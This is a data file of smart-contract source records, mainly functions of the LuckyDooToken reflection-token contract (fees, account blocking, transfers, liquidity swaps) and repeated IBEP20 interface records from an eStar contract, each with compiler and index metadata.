{ uint256 currentTimestamp = _getNow(); require(!_isBlocked[account], "LuckyDooToken: Account is already blocked"); if (_isLaunched) { require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired"); } _isBlocked[account] = true; emit BlockedAccountChange(account, true); } function unblockAccount(address account) external onlyOwner { require(_isBlocked[account], "LuckyDooToken: Account is not blcoked"); _isBlocked[account] = false; emit BlockedAccountChange(account, false); } function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner { if(liquidityWallet != newLiquidityWallet) { require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0"); emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet); liquidityWallet = newLiquidityWallet; } if(devWallet != newDevWallet) { require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0"); emit WalletChange('devWallet', newDevWallet, devWallet); devWallet = newDevWallet; } if(marketingWallet != newMarketingWallet) { require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0"); emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } if(buyBackWallet != newBuyBackWallett) { require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0"); emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet); buyBackWallet = newBuyBackWallett; } } // Base fees function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch2 Fees function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch3 Fees function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } function setMaxWalletAmount(uint256 newValue) external onlyOwner { require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value"); emit MaxWalletAmountChange(newValue, maxWalletAmount); maxWalletAmount = newValue; } function setMaxTransactionAmount(uint256 newValue) external onlyOwner { require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value"); emit MaxTransactionAmountChange(newValue, maxTxAmount); maxTxAmount = newValue; } function excludeFromDividends(address account, bool excluded) public onlyOwner { require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); if(excluded) { if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromDividends[account] = excluded; _excludedFromDividends.push(account); } else { for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if (_excludedFromDividends[i] == account) { _excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1]; _tOwned[account] = 0; _isExcludedFromDividends[account] = false; _excludedFromDividends.pop(); break; } } } emit ExcludeFromDividendsChange(account, excluded); } function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner { require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value"); emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap); minimumTokensBeforeSwap = newValue; } function claimETHOverflow() external onlyOwner { require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance"); uint256 amount = address(this).balance; (bool success,) = address(owner()).call{value : amount}(""); if (success){ emit ClaimETHOverflow(amount); } } // Getters function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view virtual returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcludedFromDividends[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function totalFees() external view returns (uint256) { return _tFeeTotal; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function isInLaunch() external view returns (bool) { uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod; if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) { return true; } else { return false; } } function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy); } function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell); } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply"); uint256 currentRate = _getRate(); uint256 rAmount = tAmount * currentRate; if (!deductTransferFee) { return rAmount; } else { uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate; uint256 rTransferAmount = rAmount - rTotalFee; return rTransferAmount; } } // Main function _transfer( address from, address to, uint256 amount ) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance"); bool isBuyFromLp = automatedMarketMakerPairs[from]; bool isSelltoLp = automatedMarketMakerPairs[to]; bool _isInLaunch = this.isInLaunch(); if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) { require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled."); require(!_isBlocked[to], "LuckyDooToken: Account is blocked"); require(!_isBlocked[from], "LuckyDooToken: Account is blocked"); if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) { require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount."); } if (!_isExcludedFromMaxWalletLimit[to]) { require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount."); } } _adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch); bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap; if ( isTradingEnabled && canSwap && !_swapping && _totalFee > 0 && automatedMarketMakerPairs[to] && from != liquidityWallet && to != liquidityWallet && from != devWallet && to != devWallet && from != marketingWallet && to != marketingWallet && from != buyBackWallet && to != buyBackWallet ) { _swapping = true; _swapAndLiquify(); _swapping = false; } bool takeFee = !_swapping && isTradingEnabled; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private { (uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate()); if (_isExcludedFromDividends[sender]) { _tOwned[sender] = _tOwned[sender] - tAmount; } if (_isExcludedFromDividends[recipient]) { _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; } _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeContractFees(rOther, tOther); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal -= rFee; _tFeeTotal += tFee; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){ if (!takeFee) { return (tAmount, 0, 0); } else { uint256 tFee = tAmount * _holdersFee / 100; uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100; uint256 tTransferAmount = tAmount - (tFee + tOther); return (tTransferAmount, tFee, tOther); } } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tOther, uint256 currentRate ) private pure returns ( uint256, uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rOther = tOther * currentRate; uint256 rTransferAmount = rAmount - (rFee + rOther); return (rAmount, rTransferAmount, rFee, rOther); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if ( _rOwned[_excludedFromDividends[i]] > rSupply || _tOwned[_excludedFromDividends[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excludedFromDividends[i]]; tSupply = tSupply - _tOwned[_excludedFromDividends[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeContractFees(uint256 rOther, uint256 tOther) private { if (_isExcludedFromDividends[address(this)]) { _tOwned[address(this)] += tOther; } _rOwned[address(this)] += rOther; } function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private { uint256 blocksSinceLaunch = block.number - _launchBlockNumber; uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp; _liquidityFee = 0; _devFee = 0; _marketingFee = 0; _buyBackFee = 0; _holdersFee = 0; if (isBuyFromLp) { _liquidityFee = _base.liquidityFeeOnBuy; _devFee = _base.devFeeOnBuy; _marketingFee = _base.marketingFeeOnBuy; _buyBackFee = _base.buyBackFeeOnBuy; _holdersFee = _base.holdersFeeOnBuy; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnBuy; _devFee = _launch1.devFeeOnBuy; _marketingFee = _launch1.marketingFeeOnBuy; _buyBackFee = _launch1.buyBackFeeOnBuy; _holdersFee = _launch1.holdersFeeOnBuy; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnBuy; _devFee = _launch2.devFeeOnBuy; _marketingFee = _launch2.marketingFeeOnBuy; _buyBackFee = _launch2.buyBackFeeOnBuy; _holdersFee = _launch2.holdersFeeOnBuy; } else { _liquidityFee = _launch3.liquidityFeeOnBuy; _devFee = _launch3.devFeeOnBuy; _marketingFee = _launch3.marketingFeeOnBuy; _buyBackFee = _launch3.buyBackFeeOnBuy; _holdersFee = _launch3.holdersFeeOnBuy; } } } if (isSelltoLp) { _liquidityFee = _base.liquidityFeeOnSell; _devFee = _base.devFeeOnSell; _marketingFee = _base.marketingFeeOnSell; _buyBackFee = _base.buyBackFeeOnSell; _holdersFee = _base.holdersFeeOnSell; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnSell; _devFee = _launch1.devFeeOnSell; _marketingFee = _launch1.marketingFeeOnSell; _buyBackFee = _launch1.buyBackFeeOnSell; _holdersFee = _launch1.holdersFeeOnSell; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnSell; _devFee = _launch2.devFeeOnSell; _marketingFee = _launch2.marketingFeeOnSell; _buyBackFee = _launch2.buyBackFeeOnSell; _holdersFee = _launch2.holdersFeeOnSell; } else { _liquidityFee = _launch3.liquidityFeeOnSell; _devFee = _launch3.devFeeOnSell; _marketingFee = _launch3.marketingFeeOnSell; _buyBackFee = _launch3.buyBackFeeOnSell; _holdersFee = _launch3.holdersFeeOnSell; } } } _totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee; emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee); } function _setCustomSellTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell ) private { if (map.liquidityFeeOnSell != _liquidityFeeOnSell) { emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName); map.liquidityFeeOnSell = _liquidityFeeOnSell; } if (map.marketingFeeOnSell != _marketingFeeOnSell) { emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName); map.marketingFeeOnSell = _marketingFeeOnSell; } if (map.devFeeOnSell != _devFeeOnSell) { emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName); map.devFeeOnSell = _devFeeOnSell; } if (map.buyBackFeeOnSell != _buyBackFeeOnSell) { emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName); map.buyBackFeeOnSell = _buyBackFeeOnSell; } if (map.holdersFeeOnSell != _holdersFeeOnSell) { emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName); map.holdersFeeOnSell = _holdersFeeOnSell; } } function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy ) private { if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) { emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName); map.liquidityFeeOnBuy = _liquidityFeeOnBuy; } if (map.marketingFeeOnBuy != _marketingFeeOnBuy) { emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName); map.marketingFeeOnBuy = _marketingFeeOnBuy; } if (map.devFeeOnBuy != _devFeeOnBuy) { emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName); map.devFeeOnBuy = _devFeeOnBuy; } if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) { emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName); map.buyBackFeeOnBuy = _buyBackFeeOnBuy; } if (map.holdersFeeOnBuy != _holdersFeeOnBuy) { emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName); map.holdersFeeOnBuy = _holdersFeeOnBuy; } } function _swapAndLiquify() private { uint256 contractBalance = balanceOf(address(this)); uint256 initialETHBalance = address(this).balance; uint8 totalFeePrior = _totalFee; uint8 liquidityFeePrior = _liquidityFee; uint8 marketingFeePrior = _marketingFee; uint8 devFeePrior = _devFee; uint8 buyBackFeePrior = _buyBackFee; uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2; uint256 amountToSwapForETH = contractBalance - amountToLiquify; _swapTokensForETH(amountToSwapForETH); uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance; uint256 totalETHFee = _totalFee - (_liquidityFee / 2); uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2; uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee; uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee; uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack); payable(marketingWallet).transfer(amountETHMarketing); payable(devWallet).transfer(amountETHDev); payable(buyBackWallet).transfer(amountETHBuyBack); if (amountToLiquify > 0) { _addLiquidity(amountToLiquify, amountETHLiquidity); emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify); } _totalFee = totalFeePrior; _liquidityFee = liquidityFeePrior; _marketingFee = marketingFeePrior; _devFee = devFeePrior; _buyBackFee = buyBackFeePrior; } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityWallet, block.timestamp ); } }
_transfer
function _transfer( address from, address to, uint256 amount ) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance"); bool isBuyFromLp = automatedMarketMakerPairs[from]; bool isSelltoLp = automatedMarketMakerPairs[to]; bool _isInLaunch = this.isInLaunch(); if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) { require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled."); require(!_isBlocked[to], "LuckyDooToken: Account is blocked"); require(!_isBlocked[from], "LuckyDooToken: Account is blocked"); if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) { require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount."); } if (!_isExcludedFromMaxWalletLimit[to]) { require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount."); } } _adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch); bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap; if ( isTradingEnabled && canSwap && !_swapping && _totalFee > 0 && automatedMarketMakerPairs[to] && from != liquidityWallet && to != liquidityWallet && from != devWallet && to != devWallet && from != marketingWallet && to != marketingWallet && from != buyBackWallet && to != buyBackWallet ) { _swapping = true; _swapAndLiquify(); _swapping = false; } bool takeFee = !_swapping && isTradingEnabled; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from, to, amount, takeFee); }
// Main
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 18407, 20391 ] }
1,312
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 94, 154 ] }
1,313
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 237, 310 ] }
1,314
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 534, 616 ] }
1,315
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
